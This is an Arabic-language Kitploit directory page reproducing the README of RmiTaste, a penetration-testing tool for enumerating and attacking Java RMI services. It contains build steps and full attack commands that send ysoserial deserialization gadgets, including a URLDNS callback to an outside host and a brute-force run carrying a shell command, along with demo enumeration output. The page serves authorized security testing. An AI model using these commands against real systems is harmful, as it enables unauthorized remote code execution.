Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
RmiTaste — أداة اختبار أمني لـ Java RMI لكشف وتعداد واستغلال خدمات RMI غير الآمنة باستخدام ysoserial deserialization gadgets لتحقيق تنفيذ الأوامر عن بُعد. | Kitploit
أدوات/GitHubGitHub/stmcyber/rmitaste
تحليل الثغرات الأمنيةالاستغلالاختبار الاختراق
GitHubstmcyber/rmitaste

RmiTaste

أداة اختبار أمني لـ Java RMI لكشف وتعداد واستغلال خدمات RMI غير الآمنة باستخدام ysoserial deserialization gadgets لتحقيق تنفيذ الأوامر عن بُعد.

عرض المستودعالموقع الإلكتروني
1092011منذ 5 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

License

RmiTaste

يسمح RmiTaste لمحترفي الأمن باكتشاف وتعداد والتفاعل مع ومهاجمة خدمات RMI عن طريق استدعاء الطرق عن بُعد باستخدام أدوات من ysoserial. كما يتيح استدعاء الطرق عن بُعد بمعاملات محددة.

إخلاء مسؤولية

تمت كتابة RmiTaste لمساعدة محترفي الأمن في تحديد خدمات RMI غير الآمنة على الأنظمة التي حصل المستخدم على إذن مسبق لاختبارها. الوصول غير المصرح به إلى أنظمة الحاسوب غير قانوني ويجب استخدام RmiTaste وفقًا لجميع القوانين ذات الصلة. قد يؤدي عدم الامتثال إلى مقاضاتك. لا يتحمل مطورو RmiTaste أي مسؤولية ولا يتحملون مسؤولية أي سوء استخدام أو ضرر ناتج عن هذا البرنامج.

البناء والتشغيل

يتطلب openjdk 11.0.3.

  1. قم بتحميل ysoserial-master-SNAPSHOT.jar واحفظه في مجلد libs_attack (https://github.com/frohoff/ysoserial).
  2. بناء المشروع باستخدام maven:
    root@kitploit:~
    mvn package
    
  3. تشغيل الأمر:
    root@kitploit:~
    java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste -h
    
    
     __________        ._____________                __
     \______   \ _____ |__\__    ___/____    _______/  |_  ____
     |       _//     \|  | |    |  \__  \  /  ___/\   __\/ __ \
     |    |   \  Y Y  \  | |    |   / __ \_\___ \  |  | \  ___/
     |____|_  /__|_|  /__| |____|  (____  /____  > |__|  \___  >
           \/      \/                  \/     \/            \/
     @author Marcin Ogorzelski (mzero - @_mzer0) STM Solutions
    
    Warning: RmiTaste was written to aid security professionals in identifying the
             insecure use of RMI services on systems which the user has prior
             permission to attack. RmiTaste must be used in accordance with all
             relevant laws. Failure to do so could lead to your prosecution.
             The developers assume no liability and are not responsible for any
             misuse or damage caused by this program.
    
    

الاستخدام

يحتوي RmiTaste على 4 أوضاع: conn و enum و attack و call. كل وضع له تعليمات منفصلة.

root@kitploit:~
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste -h
(...)
Usage: <main class> [-h] [COMMAND]
  -h, --help   display this help message
Commands:
  conn    check connection to host
  enum    enumerate RMI service
  attack  attack RMI registry methods
  call    call specific method on RMI remote object

وضع conn

يسمح وضع conn بالتحقق مما إذا كان المنفذ هو منفذ خدمة RMI.

root@kitploit:~
# Check if 127.0.0.1:1099 is RMI Service
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste conn -t 127.0.0.1 -p 1099

وضع enum

يسمح وضع enum بجلب معلومات حول خدمة RMI مثل: أسماء الكائنات البعيدة وأسماء الفئات التي يقوم الكائن البعيد بتنفيذها أو توسيعها. إذا كانت الواجهة التي ينفذها الكائن البعيد متاحة في مسار فئة RmiTaste، فسيقوم RmiTaste بطباعة جميع الطرق البعيدة التي يمكنك استدعاؤها على هذا الكائن البعيد.

root@kitploit:~
# RMI service enumeration
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste enum -t 127.0.0.1 -p 1099

وضع attack

يسمح وضع attack باستدعاء طريقة بعيدة بسلسلة أدوات محددة من ysoserial. افترض أن الكائن البعيد يحتوي على الطرق التالية:

root@kitploit:~
acc1 [object] [127.0.1.1:38293] 
         implements java.rmi.Remote [interface]
         extends java.lang.reflect.Proxy [class]
         implements m0.rmitaste.example.server.ClientAccount [interface]
                setPin(java.lang.String param0); [method]
                        Parameters: param0;  may be vulnerable to Java Deserialization! [info]
                getBalance(); [method]
                deposit(java.lang.Object param0); [method]
                        Parameters: param0;  may be vulnerable to Java Deserialization! [info]
                withdraw(float param0); [method]
root@kitploit:~
# Call all remote methods with URLDNS gadget as parameter
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste attack -t 127.0.0.1 -p 1099 -g "URLDNS" -c "http://rce.mzero.pl"
root@kitploit:~
# Call acc1:m0.rmitaste.example.server.ClientAccount:deposit method with URLDNS gadget as parameter
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste attack -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:deposit" -g "URLDNS" -c "http://rce.mzero.pl"

يسمح الخيار "-gen bruteforce" بمحاولة الطريقة البعيدة بأدوات من ysoserial. في هذا المثال، سيتم استدعاء طريقة deposit عدة مرات بأدوات من ysoserial.

root@kitploit:~
# Call acc1:m0.rmitaste.example.server.ClientAccount:deposit method with gadgets from ysoserial and command ping 127.0.0.1
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste attack -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:deposit" -gen bruteforce -c "ping 127.0.0.1"

وضع call

يسمح وضع call باستدعاء طريقة محددة على كائن RMI البعيد. افترض أن الكائن البعيد يحتوي على الطرق التالية:

root@kitploit:~
acc1 [object] [127.0.1.1:38293] 
         implements java.rmi.Remote [interface]
         extends java.lang.reflect.Proxy [class]
         implements m0.rmitaste.example.server.ClientAccount [interface]
                setPin(java.lang.String param0); [method]
                        Parameters: param0;  may be vulnerable to Java Deserialization! [info]
                getBalance(); [method]
                deposit(java.lang.Object param0); [method]
                        Parameters: param0;  may be vulnerable to Java Deserialization! [info]
                withdraw(float param0); [method]
root@kitploit:~
# Call m0.rmitaste.example.server.ClientAccount.getBalance method on acc1 remote object
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste call -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:getBalance"
root@kitploit:~
# Call m0.rmitaste.example.server.ClientAccount.setPin("1234") method on acc1 remote object
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste call -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:setPin" -mp "string=1234"

أمثلة

خادم العرض التوضيحي متوفر هنا.

  1. تشغيل خادم العرض التوضيحي.

  2. تعداد الهدف.

root@kitploit:~
root@keyisinyourmind:/media/sf_pentest2/Tools/python/Toolset/Others/RmiTasteTool# java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste enum -t 127.0.0.1 -p 1099
acc1 [object] [127.0.1.1:42881] 
   extends java.rmi.server.RemoteObjectInvocationHandler [class]
   implements java.rmi.Remote [interface]
   extends java.lang.reflect.Proxy [class]
   extends java.rmi.server.RemoteObject [class]
   implements m0.rmitaste.example.server.ClientAccount [interface]
  	No methods found. I don't have remote object interface. Give it to me!

acc2 [object] [127.0.1.1:42881] 
   extends java.rmi.server.RemoteObjectInvocationHandler [class]
   implements java.rmi.Remote [interface]
   extends java.lang.reflect.Proxy [class]
   extends java.rmi.server.RemoteObject [class]
   implements m0.rmitaste.example.server.ClientAccount [interface]
  	No methods found. I don't have remote object interface. Give it to me!

كما ترى، يحتاج RmiTaste إلى واجهة الكائن البعيد. أثناء اختبارات الاختراق، ستحتاج إلى العثور على هذه الواجهة. في هذا المثال، فقط قم بنسخ rmitaste.examples-1.0-SNAPSHOT-all.jar إلى مجلد libs_attack. تعداد الهدف مرة أخرى:

root@kitploit:~
acc1 [object] [127.0.1.1:42881] 
   extends java.rmi.server.RemoteObjectInvocationHandler [class]
   implements java.rmi.Remote [interface]
   extends java.lang.reflect.Proxy [class]
   extends java.rmi.server.RemoteObject [class]
   implements m0.rmitaste.example.server.ClientAccount [interface]
  	setPin(java.lang.String param0); [method]
  		Parameters: param0;  may be vulnerable to Java Deserialization! [info]
  	getBalance(); [method]
  	deposit(java.lang.Object param0); [method]
  		Parameters: param0;  may be vulnerable to Java Deserialization! [info]
  	withdraw(float param0); [method]

acc2 [object] [127.0.1.1:42881] 
   extends java.rmi.server.RemoteObjectInvocationHandler [class]
   implements java.rmi.Remote [interface]
   extends java.lang.reflect.Proxy [class]
   extends java.rmi.server.RemoteObject [class]
   implements m0.rmitaste.example.server.ClientAccount [interface]
  	setPin(java.lang.String param0); [method]
  		Parameters: param0;  may be vulnerable to Java Deserialization! [info]
  	getBalance(); [method]
  	deposit(java.lang.Object param0); [method]
  		Parameters: param0;  may be vulnerable to Java Deserialization! [info]
  	withdraw(float param0); [method]

المؤلف

تويتر: @_mzer0

مستوحى من: BaRMIe و @h0ng10 مقال

تنزيل الأداة